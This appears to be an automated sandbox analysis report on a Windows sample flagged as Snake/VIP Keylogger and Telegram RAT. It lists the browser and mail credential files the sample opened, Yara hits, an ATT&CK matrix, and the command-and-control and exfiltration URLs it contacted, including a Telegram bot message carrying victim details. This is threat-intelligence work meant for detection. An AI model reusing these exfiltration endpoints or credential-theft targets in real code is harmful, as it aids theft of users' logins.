Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Top Sites	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	File opened: C:\Users\user\AppData\Roaming\PostboxApp\Profiles\			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676			Jump to behavior

Source: W2k2NLSvja.exe	Binary or memory string: WIN_81
Source: W2k2NLSvja.exe	Binary or memory string: WIN_XP
Source: W2k2NLSvja.exe	Binary or memory string: WIN_XPe
Source: W2k2NLSvja.exe	Binary or memory string: WIN_VISTA
Source: W2k2NLSvja.exe	Binary or memory string: WIN_7
Source: W2k2NLSvja.exe	Binary or memory string: WIN_8
Source: W2k2NLSvja.exe	Binary or memory string: %.3d%S%M%H%m%Y%jX86IA64X64WIN32_NTWIN_10WIN_2016WIN_81WIN_2012R2WIN_2012WIN_8WIN_2008R2WIN_7WIN_2008WIN_VISTAWIN_2003WIN_XPeWIN_XPInstallLanguageSYSTEM\CurrentControlSet\Control\Nls\LanguageSchemeLangIDControl Panel\Appearance3, 3, 14, 5USERPROFILEUSERDOMAINUSERDNSDOMAINGetSystemWow64DirectoryWSeDebugPrivilege:winapistdcallubyte

Source: Yara match	File source: 0.2.W2k2NLSvja.exe.1580000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.W2k2NLSvja.exe.1580000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2036650956.0000000001580000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4484145905.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: W2k2NLSvja.exe PID: 5700, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 6504, type: MEMORYSTR

Remote Access Functionality

Yara detected Snake Keylogger

Source: Yara match

File source: 00000002.00000002.4485162305.0000000003281000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

Yara detected Telegram RAT

Source: Yara match	File source: 0.2.W2k2NLSvja.exe.1580000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.W2k2NLSvja.exe.1580000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2036650956.0000000001580000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4484145905.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: W2k2NLSvja.exe PID: 5700, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 6504, type: MEMORYSTR

Yara detected VIP Keylogger

Source: Yara match	File source: 0.2.W2k2NLSvja.exe.1580000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.W2k2NLSvja.exe.1580000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 2.2.RegSvcs.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2036650956.0000000001580000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4484145905.0000000000402000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000002.00000002.4485162305.00000000033FD000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: W2k2NLSvja.exe PID: 5700, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegSvcs.exe PID: 6504, type: MEMORYSTR

Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FF6596 socket,WSAGetLastError,bind,listen,WSAGetLastError,closesocket,		0_2_00FF6596
Source: C:\Users\user\Desktop\W2k2NLSvja.exe	Code function: 0_2_00FF6A5A socket,WSAGetLastError,bind,WSAGetLastError,closesocket,		0_2_00FF6A5A

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	2 Valid Accounts	2 Native API	1 DLL Side-Loading	1 Exploitation for Privilege Escalation	11 Disable or Modify Tools	1 OS Credential Dumping	2 System Time Discovery	Remote Services	11 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	Scheduled Task/Job	2 Valid Accounts	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	21 Input Capture	1 Account Discovery	Remote Desktop Protocol	1 Data from Local System	4 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	2 Valid Accounts	3 Obfuscated Files or Information	Security Account Manager	1 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	21 Access Token Manipulation	1 DLL Side-Loading	NTDS	127 System Information Discovery	Distributed Component Object Model	21 Input Capture	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	212 Process Injection	2 Valid Accounts	LSA Secrets	131 Security Software Discovery	SSH	3 Clipboard Data	3 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	11 Virtualization/Sandbox Evasion	Cached Domain Credentials	11 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	24 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	21 Access Token Manipulation	DCSync	2 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	212 Process Injection	Proc Filesystem	11 Application Window Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	HTML Smuggling	/etc/passwd and /etc/shadow	1 System Owner/User Discovery	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	Dynamic API Resolution	Network Sniffing	1 System Network Configuration Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
W2k2NLSvja.exe	71%	Virustotal		Browse
W2k2NLSvja.exe	74%	ReversingLabs	Win32.Ransomware.VIPKeylogger
W2k2NLSvja.exe	100%	Avira	TR/AD.ShellcodeCrypter.dtpgi
W2k2NLSvja.exe	100%	Avira	TR/Agent.tciod
W2k2NLSvja.exe	100%	Avira	TR/Agent.tciod
W2k2NLSvja.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://x1.c.l3	0%	Avira URL Cloud	safe
http://r11.o.M	0%	Avira URL Cloud	safe
http://mail.tradolgt.com	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
reallyfreegeoip.org	188.114.97.3	true	false	high
api.telegram.org	149.154.167.220	true	false	high
mail.tradolgt.com	208.91.199.115	true	true	unknown
checkip.dyndns.com	132.226.247.73	true	false	high
checkip.dyndns.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Reputation
https://reallyfreegeoip.org/xml/8.46.123.189	false	high
http://checkip.dyndns.org/	false	high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:642294%0D%0ADate%20and%20Time:%2003/01/2025%20/%2015:43:58%0D%0ACountry%20Name:%20United%20States%0D%0A%5B%20642294%20Clicked%20on%20the%20File%20If%20you%20see%20nothing%20this's%20mean%20the%20system%20storage's%20empty.%20%5D	false	high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.office.com/	RegSvcs.exe, 00000002.00000002.4485162305.00000000033FD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:642294%0D%0ADate%20a	RegSvcs.exe, 00000002.00000002.4485162305.0000000003364000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/chrome_newtab	RegSvcs.exe, 00000002.00000002.4487012044.00000000042A1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://duckduckgo.com/ac/?q=	RegSvcs.exe, 00000002.00000002.4487012044.00000000042A1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org	RegSvcs.exe, 00000002.00000002.4485162305.0000000003364000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	RegSvcs.exe, 00000002.00000002.4487012044.00000000042A1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://r11.o.lencr.org0#	RegSvcs.exe, 00000002.00000002.4488752677.0000000006780000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.00000000033FD000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4488752677.000000000684E000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4484266848.000000000141A000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4488752677.0000000006849000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.000000000357C000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4488752677.00000000067FA000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.0000000003751000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot	W2k2NLSvja.exe, 00000000.00000002.2036650956.0000000001580000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.0000000003364000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4484145905.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	RegSvcs.exe, 00000002.00000002.4487012044.00000000042A1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org	RegSvcs.exe, 00000002.00000002.4485162305.0000000003281000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	RegSvcs.exe, 00000002.00000002.4487012044.00000000042A1000.00000004.00000800.00020000.00000000.sdmp	false		high
https://api.telegram.org/bot/sendMessage?chat_id=&text=	RegSvcs.exe, 00000002.00000002.4485162305.0000000003364000.00000004.00000800.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore?hl=en	RegSvcs.exe, 00000002.00000002.4485162305.00000000033FD000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	RegSvcs.exe, 00000002.00000002.4487012044.00000000042A1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://varders.kozow.com:8081	W2k2NLSvja.exe, 00000000.00000002.2036650956.0000000001580000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.0000000003281000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4484145905.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false		high
http://r11.i.lencr.org/0	RegSvcs.exe, 00000002.00000002.4488752677.0000000006780000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.00000000033FD000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4488752677.000000000684E000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4484266848.000000000141A000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4488752677.0000000006849000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.000000000357C000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4488752677.00000000067FA000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.0000000003751000.00000004.00000800.00020000.00000000.sdmp	false		high
http://r11.o.M	RegSvcs.exe, 00000002.00000002.4488752677.0000000006780000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://aborters.duckdns.org:8081	W2k2NLSvja.exe, 00000000.00000002.2036650956.0000000001580000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.0000000003281000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4484145905.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false		high
https://ac.ecosia.org/autocomplete?q=	RegSvcs.exe, 00000002.00000002.4487012044.00000000042A1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.c.l3	RegSvcs.exe, 00000002.00000002.4488752677.00000000067FA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://51.38.247.67:8081/_send_.php?L	RegSvcs.exe, 00000002.00000002.4485162305.00000000033FD000.00000004.00000800.00020000.00000000.sdmp	false		high
http://anotherarmy.dns.army:8081	W2k2NLSvja.exe, 00000000.00000002.2036650956.0000000001580000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.0000000003281000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4484145905.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false		high
http://x1.c.lencr.org/0	RegSvcs.exe, 00000002.00000002.4488752677.0000000006780000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4488752677.0000000006845000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4488752677.0000000006841000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.00000000033FD000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4484266848.000000000141A000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.000000000357C000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4488752677.00000000067FA000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.0000000003751000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	RegSvcs.exe, 00000002.00000002.4488752677.0000000006780000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4488752677.0000000006845000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4488752677.0000000006841000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.00000000033FD000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4484266848.000000000141A000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.000000000357C000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4488752677.00000000067FA000.00000004.00000020.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.0000000003751000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	RegSvcs.exe, 00000002.00000002.4487012044.00000000042A1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://checkip.dyndns.org/q	W2k2NLSvja.exe, 00000000.00000002.2036650956.0000000001580000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4484145905.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/8.46.123.189$	RegSvcs.exe, 00000002.00000002.4485162305.0000000003364000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.00000000032F9000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.000000000333E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://mail.tradolgt.com	RegSvcs.exe, 00000002.00000002.4485162305.00000000033FD000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.000000000357C000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.0000000003751000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://reallyfreegeoip.org	RegSvcs.exe, 00000002.00000002.4485162305.00000000032CE000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.0000000003364000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.000000000333E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	RegSvcs.exe, 00000002.00000002.4485162305.0000000003281000.00000004.00000800.00020000.00000000.sdmp	false		high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	RegSvcs.exe, 00000002.00000002.4487012044.00000000042A1000.00000004.00000800.00020000.00000000.sdmp	false		high
http://51.38.247.67:8081/_send_.php?LCapplication/x-www-form-urlencoded	W2k2NLSvja.exe, 00000000.00000002.2036650956.0000000001580000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4484145905.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false		high
https://reallyfreegeoip.org/xml/	W2k2NLSvja.exe, 00000000.00000002.2036650956.0000000001580000.00000004.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4485162305.00000000032CE000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000002.00000002.4484145905.0000000000402000.00000040.80000000.00040000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	false
188.114.97.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	false
208.91.199.115	mail.tradolgt.com	United States	394695	PUBLIC-DOMAIN-REGISTRYUS	true
132.226.247.73	checkip.dyndns.com	United States	16989	UTMEMUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1583667
Start date and time:	2025-01-03 09:48:07 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 34s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	5
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	W2k2NLSvja.exe renamed because original name is a hash value
Original Sample Name:	3C81CD20323C282181D40FA0E8AB7B66DFD46EDD7BAFC3D6ABEB072420B314FE.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/4@4/4
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 58 Number of non-executed functions: 269
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 52.149.20.212, 13.107.246.45
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Report size exceeded maximum capacity and may have missing disassembly code.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.

Simulations

Behavior and APIs

Time	Type	Description
03:49:00	API Interceptor	10759460x Sleep call for process: RegSvcs.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	FACT0987789000900.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	image.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	DHL DOC INV 191224.gz.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	mcgen.exe	Get hash	malicious	Blank Grabber	Browse
	eP6sjvTqJa.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	YGk3y6Tdix.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	Etqq32Yuw4.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse
	vEtDFkAZjO.exe	Get hash	malicious	RL STEALER, StormKitty	Browse
	Invoice-BL. Payment TT $ 28,945.99.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse
	file.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
188.114.97.3	dGhlYXB0Z3JvdXA=-free.exe	Get hash	malicious	Unknown	Browse	/api/get/free
	dGhlYXB0Z3JvdXA=-free.exe	Get hash	malicious	Unknown	Browse	/api/get/free
	RFQ 3100185 MAHAD.exe	Get hash	malicious	FormBook	Browse	www.rgenerousrs.store/o362/
	A2028041200SD.exe	Get hash	malicious	FormBook	Browse	www.beylikduzu616161.xyz/2nga/
	Delivery_Notification_00000260791.doc.js	Get hash	malicious	Unknown	Browse	radostdetym.ru/?ad=1JXSXybzEjjRJQDbVngTy7d8kEFAxmgmDN&id=rWoA9pTQhV1o4c5fjbOa-d26BGh3QU3-Bk0PqI4WnzM-5vl4IqKPymhrqkRpunF_PTHktMR-2qUlNAtnXA&rnd=45
	ce.vbs	Get hash	malicious	Unknown	Browse	paste.ee/d/lxvbq
	Label_00000852555.doc.js	Get hash	malicious	Unknown	Browse	tamilandth.com/counter/?ad=1GNktTwWR98eDEMovFNDqyUPsyEdCxKRzC&id=LWkA9pJQhl9uXU1kaDN-eSC-55GNxzVDsLXZhtXL8Pr1j1FTCf4XAYGxA0VCjCQra2XwotFrDHGSYxM&rnd=25
	PO 20495088.exe	Get hash	malicious	FormBook	Browse	www.ssrnoremt-rise.sbs/3jsc/
	QUOTATION_NOVQTRA071244#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	filetransfer.io/data-package/zWkbOqX7/download
	http://kklk16.bsyo45ksda.top	Get hash	malicious	Unknown	Browse	kklk16.bsyo45ksda.top/favicon.ico
208.91.199.115	payment slip.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Credit_n.mveettil_Payment Schedule-Ref -PG-198062607.file.html	Get hash	malicious	HTMLPhisher	Browse
	https://pkrhzxtlvs.scscollege.org/?dshhef7dyi-7c17jao-xt77v0w0o-qaglkg6oqgym5fffr1d51yfx11tqo0aczuqkhl6vwlimlntj-kn5c1~7v70x5thdvj7c1r1~56f38w80yeuur2e~myjmfimjgczyryf10fucpv~p0j241ano0rhvac-qzvpmr6b6kkd0xqdcikn5h-0xfvpwdyu9~062zk0tklf~vbjbpqf~p4mtkgudniqu01qy8mntriuy9cfvhcd-2-xov9j7c1sd-2shqdrvjte8rl0n7bj8myx79rjtx6w8c6hrruf9k1suacaxma0kc-huo3t4p31t0uzu3llizpbpxat3w7qvajx9yxo23u32v4t1ju-0au-4pm15pgw0f123y09rg7-v25bw7mkndt~3aa8f8mo-bpg-9tv7enovx013t17dqlxwapfe4yw18v23ksgo54ysett0k4aqxsutj5-5yz~upoxhcry3v9tvuu6evg6n0oxzhr55ng6otqvh~33id63esxp30~-hrwrrjubs6565g3-k2iucun085yf7tpbc6nhfuylze9-51xvd8070bt-i6munyirhyuo7lwbhk0y1-y7emsq6qbpfhyeghukzbtzizqkcb6niwnhjsj0s~5~~dta42odpz4j1xtlfjd0yksq6e-8e6a2bip7w6xkcswynrka-vv0meod4ypnio7rsa6nvpgb1diulznmdl3htq4341bo~ldqypza~16btlefrzje6w8cadgndkp~n0uep~wno30toq~lcjds=value&url=memindustries.com/host/hjlwehjwhnkewhj/Y2VsbGlvdHRAd2lja2Vyc21pdGguY29t	Get hash	malicious	Unknown	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	FACT0987789000900.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	PO_B2W984.com	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	104.21.67.152
	file.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	file.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	file.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	PO_4027_from_IC_Tech_Inc_6908.exe	Get hash	malicious	MassLogger RAT	Browse	188.114.96.3
	image.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	DHL DOC INV 191224.gz.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	file.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	PO_2024_056209_MQ04865_ENQ_1045.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	188.114.96.3
mail.tradolgt.com	payment slip.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	208.91.199.115
checkip.dyndns.com	FACT0987789000900.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	PO_B2W984.com	Get hash	malicious	DBatLoader, MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	file.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	file.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.130.0
	file.exe	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	PO_4027_from_IC_Tech_Inc_6908.exe	Get hash	malicious	MassLogger RAT	Browse	158.101.44.242
	image.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	DHL DOC INV 191224.gz.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	file.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	PO_2024_056209_MQ04865_ENQ_1045.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
api.telegram.org	FACT0987789000900.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	image.exe	Get hash	malicious	DBatLoader, PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	DHL DOC INV 191224.gz.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	mcgen.exe	Get hash	malicious	Blank Grabber	Browse	149.154.167.220
	eP6sjvTqJa.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	149.154.167.220
	YGk3y6Tdix.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	149.154.167.220
	Etqq32Yuw4.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	149.154.167.220
	vEtDFkAZjO.exe	Get hash	malicious	RL STEALER, StormKitty	Browse	149.154.167.220
	Invoice-BL. Payment TT $ 28,945.99.exe	Get hash	malicious	AsyncRAT, StormKitty, WorldWind Stealer	Browse	149.154.167.220
	file.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

ASNs

